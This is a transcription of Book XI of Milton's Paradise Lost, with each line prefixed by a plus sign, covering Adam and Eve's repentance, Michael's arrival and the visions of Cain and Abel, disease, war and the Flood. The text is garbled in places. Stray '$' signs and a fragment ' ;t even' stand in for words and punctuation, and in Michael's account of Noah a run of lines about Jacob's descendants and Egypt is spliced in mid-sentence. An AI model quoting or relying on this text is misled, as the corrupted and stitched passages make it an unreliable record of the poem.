+Felt less remorse: they, forthwith to the place +Repairing where he judged them, prostrate fell +Before him reverent; and both confessed +Humbly their faults, and pardon begged; with tears +Watering the ground, and with their sighs the air +Frequenting, sent from hearts contrite, in sign +Of sorrow unfeigned, and humiliation meek. +Thus they, in lowliest plight, repentant stood +Praying; for from the mercy-seat above +Prevenient grace descending had removed +The stony from their hearts, and made new flesh +Regenerate grow instead; that sighs now breathed +Unutterable; which the Spirit of prayer +Inspired, and winged for Heaven with speedier flight +Than loudest oratory: Yet their port +Not of mean suitors; nor important less +Seemed their petition, than when the ancient pair +In fables old, less ancient yet than these, +Deucalion and chaste Pyrrha, to restore +The race of mankind drowned, before the shrine +Of Themis stood devout. To Heaven their prayers +Flew up, nor missed the way, by envious winds +Blown vagabond or frustrate: in they passed +Dimensionless through heavenly doors; then clad +With incense, where the golden altar fumed, +By their great intercessour, came in sight +Before the Father's throne: them the glad Son +Presenting, thus to intercede began. +See$ Father, what first-fruits on earth are sprung +From thy implanted grace in Man; these sighs +And prayers, which in this golden censer mixed +With incense, I thy priest before thee bring; +Fruits of more pleasing savour, from thy seed +Sown with contrition in his heart, than those +Which, his own hand manuring, all the trees +Of Paradise could have produced, ere fallen +From innocence. Now therefore, bend thine ear +To supplication; hear his sighs, though mute; +Unskilful with what words to pray, let me +Interpret for him; me, his advocate +And propitiation; all his works on me, +Good, or not good, ingraft; my merit those +Shall perfect, and for these my death shall pay. +Accept me; and, in me, from these receive +The smell of peace toward mankind: let him live +Before thee reconciled, at least his days +Numbered, though sad; till death, his doom, (which I +To mitigate thus plead, not to reverse,) +To better life shall yield him: where with me +All my redeemed may dwell in joy and bliss; +Made one with me, as I with thee am one. +To whom the Father, without cloud, serene. +All thy request for Man, accepted Son, +Obtain; all thy request was my decree: +But, longer in that Paradise to dwell, +The law I gave to Nature him forbids: +Those pure immortal elements, that know, +No gross, no unharmonious mixture foul, +Eject him, tainted now; and purge him off, +As a distemper, gross, to air as gross, +And mortal food; as may dispose him best +For dissolution wrought by sin, that first +Distempered all things, and of incorrupt +Corrupted. I, at first, with two fair gifts +Created him endowed; with happiness, +And immortality: that fondly lost, +This other served but to eternize woe; +Till I provided death: so death becomes +His final remedy; and, after life, +Tried in sharp tribulation, and refined +By faith and faithful works, to second life, +Waked in the renovation of the just, +Resigns him up with Heaven and Earth renewed. +But let us call to synod all the Blest, +Through Heaven's wide bounds: from them I will not hide +My judgements; how with mankind I proceed, +As how with peccant Angels late they saw, +And in their state, though firm, stood more confirmed. +He ended, and the Son gave signal high +To the bright minister that watched; he blew +His trumpet, heard in Oreb since perhaps +When God descended, and perhaps once more +To sound at general doom. The angelick blast +Filled all the regions: from their blisful bowers +Of amarantine shade, fountain or spring, +By the waters of life, where'er they sat +In fellowships of joy, the sons of light +Hasted, resorting to the summons high; +And took their seats; till from his throne supreme +The Almighty thus pronounced his sovran will. +O Sons, like one of us Man is become +To know both good and evil, since his taste +Of that defended fruit; but let him boast +His knowledge of good lost, and evil got; +Happier! had it sufficed him to have known +Good by itself, and evil not at all. +He sorrows now, repents, and prays contrite, +My motions in him; longer than they move, +His heart I know, how variable and vain, +Self-left. Lest therefore his now bolder hand +Reach also of the tree of life, and eat, +And live for ever, dream at least to live +For ever, to remove him I decree, +And send him from the garden forth to till +The ground whence he was taken, fitter soil. +Michael, this my behest have thou in charge; +Take to thee from among the Cherubim +Thy choice of flaming warriours, lest the Fiend, +Or in behalf of Man, or to invade +Vacant possession, some new trouble raise: +Haste thee, and from the Paradise of God +Without remorse drive out the sinful pair; +From hallowed ground the unholy; and denounce +To them, and to their progeny, from thence +Perpetual banishment. Yet, lest they faint +At the sad sentence rigorously urged, +(For I behold them softened, and with tears +Bewailing their excess,) all terrour hide. +If patiently thy bidding they obey, +Dismiss them not disconsolate; reveal +To Adam what shall come in future days, +As I shall thee enlighten; intermix +My covenant in the Woman's seed renewed; +So send them forth, though sorrowing, yet in peace: +And on the east side of the garden place, +Where entrance up from Eden easiest climbs, +Cherubick watch; and of a sword the flame +Wide-waving; all approach far off to fright, +And guard all passage to the tree of life: +Lest Paradise a receptacle prove +To Spirits foul, and all my trees their prey; +With whose stolen fruit Man once more to delude. +He ceased; and the arch-angelick Power prepared +For swift descent; with him the cohort bright +Of watchful Cherubim: four faces each +Had, like a double Janus; all their shape +Spangled with eyes more numerous than those +Of Argus, and more wakeful than to drouse, +Charmed with Arcadian pipe, the pastoral reed +Of Hermes, or his opiate rod. Mean while, +To re-salute the world with sacred light, +Leucothea waked; and with fresh dews imbalmed +The earth; when Adam and first matron Eve +Had ended now their orisons, and found +Strength added from above; new hope to spring +Out of despair; joy, but with fear yet linked; +Which thus to Eve his welcome words renewed. +Eve, easily my faith admit, that all +The good which we enjoy from Heaven descends; +But, that from us aught should ascend to Heaven +So prevalent as to concern the mind +Of God high-blest, or to incline his will, +Hard to belief may seem; yet this will prayer +Or one short sigh of human breath, upborne +Even to the seat of God. For since I sought +By prayer the offended Deity to appease; +Kneeled, and before him humbled all my heart; +Methought I saw him placable and mild, +Bending his ear; persuasion in me grew +That I was heard with favour; peace returned +Home to my breast, and to my memory +His promise, that thy seed shall bruise our foe; +Which, then not minded in dismay, yet now +Assures me that the bitterness of death +Is past, and we shall live. Whence hail to thee, +Eve rightly called, mother of all mankind, +Mother of all things living, since by thee +Man is to live; and all things live for Man. +To whom thus Eve with sad demeanour meek. +Ill-worthy I such title should belong +To me transgressour; who, for thee ordained +A help, became thy snare; to me reproach +Rather belongs, distrust, and all dispraise: +But infinite in pardon was my Judge, +That I, who first brought death on all, am graced +The source of life; next favourable thou, +Who highly thus to entitle me vouchsaf'st, +Far other name deserving. But the field +To labour calls us, now with sweat imposed, +Though after sleepless night; for see!the morn, +All unconcerned with our unrest, begins +Her rosy progress smiling: let us forth; +I never from thy side henceforth to stray, +Where'er our day's work lies, though now enjoined +Laborious, till day droop; while here we dwell, +What can be toilsome in these pleasant walks? +Here let us live, though in fallen state, content. +So spake, so wished much humbled Eve; but Fate +Subscribed not: Nature first gave signs, impressed +On bird, beast, air; air suddenly eclipsed, +After short blush of morn; nigh in her sight +The bird of Jove, stooped from his aery tour, +Two birds of gayest plume before him drove; +Down from a hill the beast that reigns in woods, +First hunter then, pursued a gentle brace, +Goodliest of all the forest, hart and hind; +Direct to the eastern gate was bent their flight. +Adam observed, and with his eye the chase +Pursuing, not unmoved, to Eve thus spake. +O Eve, some further change awaits us nigh, +Which Heaven, by these mute signs in Nature, shows +Forerunners of his purpose; or to warn +Us, haply too secure, of our discharge +From penalty, because from death released +Some days: how long, and what till then our life, +Who knows? or more than this, that we are dust, +And thither must return, and be no more? +Why else this double object in our sight +Of flight pursued in the air, and o'er the ground, +One way the self-same hour? why in the east +Darkness ere day's mid-course, and morning-light +More orient in yon western cloud, that draws +O'er the blue firmament a radiant white, +And slow descends with something heavenly fraught? +He erred not; for by this the heavenly bands +Down from a sky of jasper lighted now +In Paradise, and on a hill made halt; +A glorious apparition, had not doubt +And carnal fear that day dimmed Adam's eye. +Not that more glorious, when the Angels met +Jacob in Mahanaim, where he saw +The field pavilioned with his guardians bright; +Nor that, which on the flaming mount appeared +In Dothan, covered with a camp of fire, +Against the Syrian king, who to surprise +One man, assassin-like, had levied war, +War unproclaimed. The princely Hierarch +In their bright stand there left his Powers, to seise +Possession of the garden; he alone, +To find where Adam sheltered, took his way, +Not unperceived of Adam; who to Eve, +While the great visitant approached, thus spake. +Eve$ now expect great tidings, which perhaps +Of us will soon determine, or impose +New laws to be observed; for I descry, +From yonder blazing cloud that veils the hill, +One of the heavenly host; and, by his gait, +None of the meanest; some great Potentate +Or of the Thrones above; such majesty +Invests him coming! yet not terrible, +That I should fear; nor sociably mild, +As Raphael, that I should much confide; +But solemn and sublime; whom not to offend, +With reverence I must meet, and thou retire. +He ended: and the Arch-Angel soon drew nigh, +Not in his shape celestial, but as man +Clad to meet man; over his lucid arms +A military vest of purple flowed, +Livelier than Meliboean, or the grain +Of Sarra, worn by kings and heroes old +In time of truce; Iris had dipt the woof; +His starry helm unbuckled showed him prime +In manhood where youth ended; by his side, +As in a glistering zodiack, hung the sword, +Satan's dire dread; and in his hand the spear. +Adam bowed low; he, kingly, from his state +Inclined not, but his coming thus declared. +Adam, Heaven's high behest no preface needs: +Sufficient that thy prayers are heard; and Death, +Then due by sentence when thou didst transgress, +Defeated of his seisure many days +Given thee of grace; wherein thou mayest repent, +And one bad act with many deeds well done +Mayest cover: Well may then thy Lord, appeased, +Redeem thee quite from Death's rapacious claim; +But longer in this Paradise to dwell +Permits not: to remove thee I am come, +And send thee from the garden forth to till +The ground whence thou wast taken, fitter soil. +He added not; for Adam at the news +Heart-struck with chilling gripe of sorrow stood, +That all his senses bound; Eve, who unseen +Yet all had heard, with audible lament +Discovered soon the place of her retire. +O unexpected stroke, worse than of Death! +Must I thus leave thee$ Paradise? thus leave +Thee, native soil! these happy walks and shades, +Fit haunt of Gods? where I had hope to spend, +Quiet though sad, the respite of that day +That must be mortal to us both. O flowers, +That never will in other climate grow, +My early visitation, and my last + ;t even, which I bred up with tender hand +From the first opening bud, and gave ye names! +Who now shall rear ye to the sun, or rank +Your tribes, and water from the ambrosial fount? +Thee lastly, nuptial bower! by me adorned +With what to sight or smell was sweet! from thee +How shall I part, and whither wander down +Into a lower world; to this obscure +And wild? how shall we breathe in other air +Less pure, accustomed to immortal fruits? +Whom thus the Angel interrupted mild. +Lament not, Eve, but patiently resign +What justly thou hast lost, nor set thy heart, +Thus over-fond, on that which is not thine: +Thy going is not lonely; with thee goes +Thy husband; whom to follow thou art bound; +Where he abides, think there thy native soil. +Adam, by this from the cold sudden damp +Recovering, and his scattered spirits returned, +To Michael thus his humble words addressed. +Celestial, whether among the Thrones, or named +Of them the highest; for such of shape may seem +Prince above princes! gently hast thou told +Thy message, which might else in telling wound, +And in performing end us; what besides +Of sorrow, and dejection, and despair, +Our frailty can sustain, thy tidings bring, +Departure from this happy place, our sweet +Recess, and only consolation left +Familiar to our eyes! all places else +Inhospitable appear, and desolate; +Nor knowing us, nor known: And, if by prayer +Incessant I could hope to change the will +Of Him who all things can, I would not cease +To weary him with my assiduous cries: +But prayer against his absolute decree +No more avails than breath against the wind, +Blown stifling back on him that breathes it forth: +Therefore to his great bidding I submit. +This most afflicts me, that, departing hence, +As from his face I shall be hid, deprived +His blessed countenance: Here I could frequent +With worship place by place where he vouchsafed +Presence Divine; and to my sons relate, +'On this mount he appeared; under this tree +'Stood visible; among these pines his voice +'I heard; here with him at this fountain talked: +So many grateful altars I would rear +Of grassy turf, and pile up every stone +Of lustre from the brook, in memory, +Or monument to ages; and theron +Offer sweet-smelling gums, and fruits, and flowers: +In yonder nether world where shall I seek +His bright appearances, or foot-step trace? +For though I fled him angry, yet recalled +To life prolonged and promised race, I now +Gladly behold though but his utmost skirts +Of glory; and far off his steps adore. +To whom thus Michael with regard benign. +Adam, thou knowest Heaven his, and all the Earth; +Not this rock only; his Omnipresence fills +Land, sea, and air, and every kind that lives, +Fomented by his virtual power and warmed: +All the earth he gave thee to possess and rule, +No despicable gift; surmise not then +His presence to these narrow bounds confined +Of Paradise, or Eden: this had been +Perhaps thy capital seat, from whence had spread +All generations; and had hither come +From all the ends of the earth, to celebrate +And reverence thee, their great progenitor. +But this pre-eminence thou hast lost, brought down +To dwell on even ground now with thy sons: +Yet doubt not but in valley, and in plain, +God is, as here; and will be found alike +Present; and of his presence many a sign +Still following thee, still compassing thee round +With goodness and paternal love, his face +Express, and of his steps the track divine. +Which that thou mayest believe, and be confirmed +Ere thou from hence depart; know, I am sent +To show thee what shall come in future days +To thee, and to thy offspring: good with bad +Expect to hear; supernal grace contending +With sinfulness of men; thereby to learn +True patience, and to temper joy with fear +And pious sorrow; equally inured +By moderation either state to bear, +Prosperous or adverse: so shalt thou lead +Safest thy life, and best prepared endure +Thy mortal passage when it comes.--Ascend +This hill; let Eve (for I have drenched her eyes) +Here sleep below; while thou to foresight wakest; +As once thou sleptst, while she to life was formed. +To whom thus Adam gratefully replied. +Ascend, I follow thee, safe Guide, the path +Thou leadest me; and to the hand of Heaven submit, +However chastening; to the evil turn +My obvious breast; arming to overcome +By suffering, and earn rest from labour won, +If so I may attain. -- So both ascend +In the visions of God. It was a hill, +Of Paradise the highest; from whose top +The hemisphere of earth, in clearest ken, +Stretched out to the amplest reach of prospect lay. +Not higher that hill, nor wider looking round, +Whereon, for different cause, the Tempter set +Our second Adam, in the wilderness; +To show him all Earth's kingdoms, and their glory. +His eye might there command wherever stood +City of old or modern fame, the seat +Of mightiest empire, from the destined walls +Of Cambalu, seat of Cathaian Can, +And Samarchand by Oxus, Temir's throne, +To Paquin of Sinaean kings; and thence +To Agra and Lahor of great Mogul, +Down to the golden Chersonese; or where +The Persian in Ecbatan sat, or since +In Hispahan; or where the Russian Ksar +In Mosco; or the Sultan in Bizance, +Turchestan-born; nor could his eye not ken +The empire of Negus to his utmost port +Ercoco, and the less maritim kings +Mombaza, and Quiloa, and Melind, +And Sofala, thought Ophir, to the realm +Of Congo, and Angola farthest south; +Or thence from Niger flood to Atlas mount +The kingdoms of Almansor, Fez and Sus, +Morocco, and Algiers, and Tremisen; +On Europe thence, and where Rome was to sway +The world: in spirit perhaps he also saw +Rich Mexico, the seat of Montezume, +And Cusco in Peru, the richer seat +Of Atabalipa; and yet unspoiled +Guiana, whose great city Geryon's sons +Call El Dorado. But to nobler sights +Michael from Adam's eyes the film removed, +Which that false fruit that promised clearer sight +Had bred; then purged with euphrasy and rue +The visual nerve, for he had much to see; +And from the well of life three drops instilled. +So deep the power of these ingredients pierced, +Even to the inmost seat of mental sight, +That Adam, now enforced to close his eyes, +Sunk down, and all his spirits became entranced; +But him the gentle Angel by the hand +Soon raised, and his attention thus recalled. +Adam, now ope thine eyes; and first behold +The effects, which thy original crime hath wrought +In some to spring from thee; who never touched +The excepted tree; nor with the snake conspired; +Nor sinned thy sin; yet from that sin derive +Corruption, to bring forth more violent deeds. +His eyes he opened, and beheld a field, +Part arable and tilth, whereon were sheaves +New reaped; the other part sheep-walks and folds; +I' the midst an altar as the land-mark stood, +Rustick, of grassy sord; thither anon +A sweaty reaper from his tillage brought +First fruits, the green ear, and the yellow sheaf, +Unculled, as came to hand; a shepherd next, +More meek, came with the firstlings of his flock, +Choicest and best; then, sacrificing, laid +The inwards and their fat, with incense strowed, +On the cleft wood, and all due rights performed: +His offering soon propitious fire from Heaven +Consumed with nimble glance, and grateful steam; +The other's not, for his was not sincere; +Whereat he inly raged, and, as they talked, +Smote him into the midriff with a stone +That beat out life; he fell;and, deadly pale, +Groaned out his soul with gushing blood effused. +Much at that sight was Adam in his heart +Dismayed, and thus in haste to the Angel cried. +O Teacher, some great mischief hath befallen +To that meek man, who well had sacrificed; +Is piety thus and pure devotion paid? +To whom Michael thus, he also moved, replied. +These two are brethren, Adam, and to come +Out of thy loins; the unjust the just hath slain, +For envy that his brother's offering found +From Heaven acceptance; but the bloody fact +Will be avenged; and the other's faith, approved, +Lose no reward; though here thou see him die, +Rolling in dust and gore. To which our sire. +Alas! both for the deed, and for the cause! +But have I now seen Death? Is this the way +I must return to native dust? O sight +Of terrour, foul and ugly to behold, +Horrid to think, how horrible to feel! +To whom thus Michael. Death thou hast seen +In his first shape on Man; but many shapes +Of Death, and many are the ways that lead +To his grim cave, all dismal; yet to sense +More terrible at the entrance, than within. +Some, as thou sawest, by violent stroke shall die; +By fire, flood, famine, by intemperance more +In meats and drinks, which on the earth shall bring +Diseases dire, of which a monstrous crew +Before thee shall appear; that thou mayest know +What misery the inabstinence of Eve +Shall bring on Men. Immediately a place +Before his eyes appeared, sad, noisome, dark; +A lazar-house it seemed; wherein were laid +Numbers of all diseased; all maladies +Of ghastly spasm, or racking torture, qualms +Of heart-sick agony, all feverous kinds, +Convulsions, epilepsies, fierce catarrhs, +Intestine stone and ulcer, colick-pangs, +Demoniack phrenzy, moaping melancholy, +And moon-struck madness, pining atrophy, +Marasmus, and wide-wasting pestilence, +Dropsies, and asthmas, and joint-racking rheums. +Dire was the tossing, deep the groans; Despair +Tended the sick busiest from couch to couch; +And over them triumphant Death his dart +Shook, but delayed to strike, though oft invoked +With vows, as their chief good, and final hope. +Sight so deform what heart of rock could long +Dry-eyed behold? Adam could not, but wept, +Though not of woman born; compassion quelled +His best of man, and gave him up to tears +A space, till firmer thoughts restrained excess; +And, scarce recovering words, his plaint renewed. +O miserable mankind, to what fall +Degraded, to what wretched state reserved! +Better end here unborn. Why is life given +To be thus wrested from us? rather, why +Obtruded on us thus? who, if we knew +What we receive, would either no accept +Life offered, or soon beg to lay it down; +Glad to be so dismissed in peace. Can thus +The image of God in Man, created once +So goodly and erect, though faulty since, +To such unsightly sufferings be debased +Under inhuman pains? Why should not Man, +Retaining still divine similitude +In part, from such deformities be free, +And, for his Maker's image sake, exempt? +Their Maker's image, answered Michael, then +Forsook them, when themselves they vilified +To serve ungoverned Appetite; and took +His image whom they served, a brutish vice, +Inductive mainly to the sin of Eve. +Therefore so abject is their punishment, +Disfiguring not God's likeness, but their own; +Or if his likeness, by themselves defaced; +While they pervert pure Nature's healthful rules +To loathsome sickness; worthily, since they +God's image did not reverence in themselves. +I yield it just, said Adam, and submit. +But is there yet no other way, besides +These painful passages, how we may come +To death, and mix with our connatural dust? +There is, said Michael, if thou well observe +The rule of Not too much; by temperance taught, +In what thou eatest and drinkest; seeking from thence +Due nourishment, not gluttonous delight, +Till many years over thy head return: +So mayest thou live; till, like ripe fruit, thou drop +Into thy mother's lap; or be with ease +Gathered, nor harshly plucked; for death mature: +This is Old Age; but then, thou must outlive +Thy youth, thy strength, thy beauty; which will change +To withered, weak, and gray; thy senses then, +Obtuse, all taste of pleasure must forego, +To what thou hast; and, for the air of youth, +Hopeful and cheerful, in thy blood will reign +A melancholy damp of cold and dry +To weigh thy spirits down, and last consume +The balm of life. To whom our ancestor. +Henceforth I fly not death, nor would prolong +Life much; bent rather, how I may be quit, +Fairest and easiest, of this cumbrous charge; +Which I must keep till my appointed day +Of rendering up, and patiently attend +My dissolution. Michael replied. +Nor love thy life, nor hate; but what thou livest +Live well; how long, or short, permit to Heaven: +And now prepare thee for another sight. +He looked, and saw a spacious plain, whereon +Were tents of various hue; by some, were herds +Of cattle grazing; others, whence the sound +Of instruments, that made melodious chime, +Was heard, of harp and organ; and, who moved +Their stops and chords, was seen; his volant touch, +Instinct through all proportions, low and high, +Fled and pursued transverse the resonant fugue. +In other part stood one who, at the forge +Labouring, two massy clods of iron and brass +Had melted, (whether found where casual fire +Had wasted woods on mountain or in vale, +Down to the veins of earth; thence gliding hot +To some cave's mouth; or whether washed by stream +From underground;) the liquid ore he drained +Into fit moulds prepared; from which he formed +First his own tools; then, what might else be wrought +Fusil or graven in metal. After these, +But on the hither side, a different sort +From the high neighbouring hills, which was their seat, +Down to the plain descended; by their guise +Just men they seemed, and all their study bent +To worship God aright, and know his works +Not hid; nor those things last, which might preserve +Freedom and peace to Men; they on the plain +Long had not walked, when from the tents, behold! +A bevy of fair women, richly gay +In gems and wanton dress; to the harp they sung +Soft amorous ditties, and in dance came on: +The men, though grave, eyed them; and let their eyes +Rove without rein; till, in the amorous net +Fast caught, they liked; and each his liking chose; +And now of love they treat, till the evening-star, +Love's harbinger, appeared; then, all in heat +They light the nuptial torch, and bid invoke +Hymen, then first to marriage rites invoked: +With feast and musick all the tents resound. +Such happy interview, and fair event +Of love and youth not lost, songs, garlands, flowers, +And charming symphonies, attached the heart +Of Adam, soon inclined to admit delight, +The bent of nature; which he thus expressed. +True opener of mine eyes, prime Angel blest; +Much better seems this vision, and more hope +Of peaceful days portends, than those two past; +Those were of hate and death, or pain much worse; +Here Nature seems fulfilled in all her ends. +To whom thus Michael. Judge not what is best +By pleasure, though to nature seeming meet; +Created, as thou art, to nobler end +Holy and pure, conformity divine. +Those tents thou sawest so pleasant, were the tents +Of wickedness, wherein shall dwell his race +Who slew his brother; studious they appear +Of arts that polish life, inventers rare; +Unmindful of their Maker, though his Spirit +Taught them; but they his gifts acknowledged none. +Yet they a beauteous offspring shall beget; +For that fair female troop thou sawest, that seemed +Of Goddesses, so blithe, so smooth, so gay, +Yet empty of all good wherein consists +Woman's domestick honour and chief praise; +Bred only and completed to the taste +Of lustful appetence, to sing, to dance, +To dress, and troll the tongue, and roll the eye: +To these that sober race of men, whose lives +Religious titled them the sons of God, +Shall yield up all their virtue, all their fame +Ignobly, to the trains and to the smiles +Of these fair atheists; and now swim in joy, +Erelong to swim at large; and laugh, for which +The world erelong a world of tears must weep. +To whom thus Adam, of short joy bereft. +O pity and shame, that they, who to live well +Entered so fair, should turn aside to tread +Paths indirect, or in the mid way faint! +But still I see the tenour of Man's woe +Holds on the same, from Woman to begin. +From Man's effeminate slackness it begins, +Said the Angel, who should better hold his place +By wisdom, and superiour gifts received. +But now prepare thee for another scene. +He looked, and saw wide territory spread +Before him, towns, and rural works between; +Cities of men with lofty gates and towers, +Concourse in arms, fierce faces threatening war, +Giants of mighty bone and bold emprise; +Part wield their arms, part curb the foaming steed, +Single or in array of battle ranged +Both horse and foot, nor idly mustering stood; +One way a band select from forage drives +A herd of beeves, fair oxen and fair kine, +From a fat meadow ground; or fleecy flock, +Ewes and their bleating lambs over the plain, +Their booty; scarce with life the shepherds fly, +But call in aid, which makes a bloody fray; +With cruel tournament the squadrons join; +Where cattle pastured late, now scattered lies +With carcasses and arms the ensanguined field, +Deserted: Others to a city strong +Lay siege, encamped; by battery, scale, and mine, +Assaulting; others from the wall defend +With dart and javelin, stones, and sulphurous fire; +On each hand slaughter, and gigantick deeds. +In other part the sceptered heralds call +To council, in the city-gates; anon +Gray-headed men and grave, with warriours mixed, +Assemble, and harangues are heard; but soon, +In factious opposition; till at last, +Of middle age one rising, eminent +In wise deport, spake much of right and wrong, +Of justice, or religion, truth, and peace, +And judgement from above: him old and young +Exploded, and had seized with violent hands, +Had not a cloud descending snatched him thence +Unseen amid the throng: so violence +Proceeded, and oppression, and sword-law, +Through all the plain, and refuge none was found. +Adam was all in tears, and to his guide +Lamenting turned full sad; O!what are these, +Death's ministers, not men? who thus deal death +Inhumanly to men, and multiply +Ten thousandfold the sin of him who slew +His brother: for of whom such massacre +Make they, but of their brethren; men of men +But who was that just man, whom had not Heaven +Rescued, had in his righteousness been lost? +To whom thus Michael. These are the product +Of those ill-mated marriages thou sawest; +Where good with bad were matched, who of themselves +Abhor to join; and, by imprudence mixed, +Produce prodigious births of body or mind. +Such were these giants, men of high renown; +For in those days might only shall be admired, +And valour and heroick virtue called; +To overcome in battle, and subdue +Nations, and bring home spoils with infinite +Man-slaughter, shall be held the highest pitch +Of human glory; and for glory done +Of triumph, to be styled great conquerours +Patrons of mankind, Gods, and sons of Gods; +Destroyers rightlier called, and plagues of men. +Thus fame shall be achieved, renown on earth; +And what most merits fame, in silence hid. +But he, the seventh from thee, whom thou beheldst +The only righteous in a world preverse, +And therefore hated, therefore so beset +With foes, for daring single to be just, +And utter odious truth, that God would come +To judge them with his Saints; him the Most High +Rapt in a balmy cloud with winged steeds +Did, as thou sawest, receive, to walk with God +High in salvation and the climes of bliss, +Exempt from death; to show thee what reward +Awaits the good; the rest what punishment; +Which now direct thine eyes and soon behold. +He looked, and saw the face of things quite changed; +The brazen throat of war had ceased to roar; +All now was turned to jollity and game, +To luxury and riot, feast and dance; +Marrying or prostituting, as befel, +Rape or adultery, where passing fair +Allured them; thence from cups to civil broils. +At length a reverend sire among them came, +And of their doings great dislike declared, +And testified against their ways; he oft +Frequented their assemblies, whereso met, +Triumphs or festivals; and to them preached +Conversion and repentance, as to souls +In prison, under judgements imminent: +But all in vain: which when he saw, he ceased +Contending, and removed his tents far off; +Then, from the mountain hewing timber tall, +Began to build a vessel of huge bulk; +Measured by cubit, length, and breadth, and highth; +Smeared round with pitch; and in the side a door +Contrived; and of provisions laid in large, +For man and beast: when lo, a wonder strange! +Of every beast, and bird, and insect small, +Came sevens, and pairs; and entered in as taught +Their order: last the sire and his three sons, +With their four wives; and God made fast the door. +Mean while the south-wind rose, and, with black wings +Wide-hovering, all the clouds together drove +From under Heaven; the hills to their supply +Vapour, and exhalation dusk and moist, +Sent up amain; and now the thickened sky +Like a dark cieling stood; down rushed the rain +Impetuous; and continued, till the earth +No more was seen: the floating vessel swum +Uplifted, and secure with beaked prow +Rode tilting o'er the waves; all dwellings else +Flood overwhelmed, and them with all their pomp +Deep under water rolled; sea covered sea, +Sea without shore; and in their palaces, +Where luxury late reigned, sea-monsters whelped +And stabled; of mankind, so numerous late, +All left, in one small bottom swum imbarked. +How didst thou grieve then, Adam, to behold +The end of all thy offspring, end so sad, +Depopulation! Thee another flood, +Of tears and sorrow a flood, thee also drowned, +And sunk thee as thy sons; till, gently reared +By the Angel, on thy feet thou stoodest at last, +Though comfortless; as when a father mourns +His children, all in view destroyed at once; +And scarce to the Angel utter'dst thus thy plaint. +O visions ill foreseen! Better had I +Lived ignorant of future! so had borne +My part of evil only, each day's lot +Enough to bear; those now, that were dispensed +The burden of many ages, on me light +At once, by my foreknowledge gaining birth +Abortive, to torment me ere their being, +With thought that they must be. Let no man seek +Henceforth to be foretold, what shall befall +Him or his children; evil he may be sure, +Which neither his foreknowing can prevent; +And he the future evil shall no less +In apprehension than in substance feel, +Grievous to bear: but that care now is past, +Man is not whom to warn: those few escaped +Famine and anguish will at last consume, +Wandering that watery desart: I had hope, +When violence was ceased, and war on earth, +All would have then gone well; peace would have crowned +With length of happy days the race of Man; +But I was far deceived; for now I see +Peace to corrupt no less than war to waste. +How comes it thus? unfold, celestial Guide, +And whether here the race of Man will end. +To whom thus Michael. Those, whom last thou sawest +In triumph and luxurious wealth, are they +First seen in acts of prowess eminent +And great exploits, but of true virtue void; +Who, having spilt much blood, and done much wast +Subduing nations, and achieved thereby +Fame in the world, high titles, and rich prey; +Shall change their course to pleasure, ease, and sloth, +Surfeit, and lust; till wantonness and pride +Raise out of friendship hostile deeds in peace. +The conquered also, and enslaved by war, +Shall, with their freedom lost, all virtue lose +And fear of God; from whom their piety feigned +In sharp contest of battle found no aid +Against invaders; therefore, cooled in zeal, +Thenceforth shall practice how to live secure, +Worldly or dissolute, on what their lords +Shall leave them to enjoy; for the earth shall bear +More than enough, that temperance may be tried: +So all shall turn degenerate, all depraved; +Justice and temperance, truth and faith, forgot; +One man except, the only son of light +In a dark age, against example good, +Against allurement, custom, and a world +Offended: fearless of reproach and scorn, +The grand-child, with twelve sons encreased, departs +From Canaan, to a land hereafter called +Egypt, divided by the river Nile; +See where it flows, disgorging at seven mouths +Into the sea: To sojourn in that land +He comes, invited by a younger son +In time of dearth; a son, whose worthy deeds +Raise him to be the second in that realm +Of Pharaoh: There he dies, and leaves his race +Growing into a nation, and now grown +Suspected to a sequent king, who seeks +To stop their overgrowth, as inmate guests +Or violence, he of their wicked ways +Shall them admonish; and before them set +The paths of righteousness, how much more safe +And full of peace; denouncing wrath to come +On their impenitence; and shall return +Of them derided, but of God observed +The one just man alive; by his command +Shall build a wonderous ark, as thou beheldst, +To save himself, and houshold, from amidst +A world devote to universal wrack. +No sooner he, with them of man and beast +Select for life, shall in the ark be lodged, +And sheltered round; but all the cataracts +Of Heaven set open on the Earth shall pour +Rain, day and night; all fountains of the deep, +Broke up, shall heave the ocean to usurp +Beyond all bounds; till inundation rise +Above the highest hills: Then shall this mount +Of Paradise by might of waves be moved +Out of his place, pushed by the horned flood, +With all his verdure spoiled, and trees adrift, +Down the great river to the opening gulf, +And there take root an island salt and bare, +The haunt of seals, and orcs, and sea-mews' clang: +To teach thee that God attributes to place +No sanctity, if none be thither brought +By men who there frequent, or therein dwell. +And now, what further shall ensue, behold. +He looked, and saw the ark hull on the flood, +Which now abated; for the clouds were fled, +Driven by a keen north-wind, that, blowing dry, +Wrinkled the face of deluge, as decayed; +And the clear sun on his wide watery glass +Gazed hot, and of the fresh wave largely drew, +As after thirst; which made their flowing shrink +From standing lake to tripping ebb, that stole +With soft foot towards the deep; who now had stopt +His sluces, as the Heaven his windows shut. +The ark no more now floats, but seems on ground, +Fast on the top of some high mountain fixed. +And now the tops of hills, as rocks, appear; +With clamour thence the rapid currents drive, +Towards the retreating sea, their furious tide. +Forthwith from out the ark a raven flies, +And after him, the surer messenger, +A dove sent forth once and again to spy +Green tree or ground, whereon his foot may light: +The second time returning, in his bill +An olive-leaf he brings, pacifick sign: +Anon dry ground appears, and from his ark +The ancient sire descends, with all his train; +Then with uplifted hands, and eyes devout, +Grateful to Heaven, over his head beholds +A dewy cloud, and in the cloud a bow +Conspicuous with three lifted colours gay, +Betokening peace from God, and covenant new. +Whereat the heart of Adam, erst so sad, +Greatly rejoiced; and thus his joy broke forth. +O thou, who future things canst represent +As present, heavenly Instructer! I revive +At this last sight; assured that Man shall live, +With all the creatures, and their seed preserve. +Far less I now lament for one whole world +Of wicked sons destroyed, than I rejoice +For one man found so perfect, and so just, +That God vouchsafes to raise another world +From him, and all his anger to forget. +But say, what mean those coloured streaks in Heaven +Distended, as the brow of God appeased? +Or serve they, as a flowery verge, to bind +The fluid skirts of that same watery cloud, +Lest it again dissolve, and shower the earth? +To whom the Arch-Angel. Dextrously thou aimest; +So willingly doth God remit his ire, +Though late repenting him of Man depraved; +Grieved at his heart, when looking down he saw +The whole earth filled with violence, and all flesh +Corrupting each their way; yet, those removed, +Such grace shall one just man find in his sight, +That he relents, not to blot out mankind; +And makes a covenant never to destroy +The earth again by flood; nor let the sea +Surpass his bounds; nor rain to drown the world, +With man therein or beast; but, when he brings +Over the earth a cloud, will therein set +His triple-coloured bow, whereon to look, +And call to mind his covenant: Day and night, +Seed-time and harvest, heat and hoary frost, +Shall hold their course; till fire purge all things new, +Both Heaven and Earth, wherein the just shall dwell. + + + +Book XII + + +As one who in his 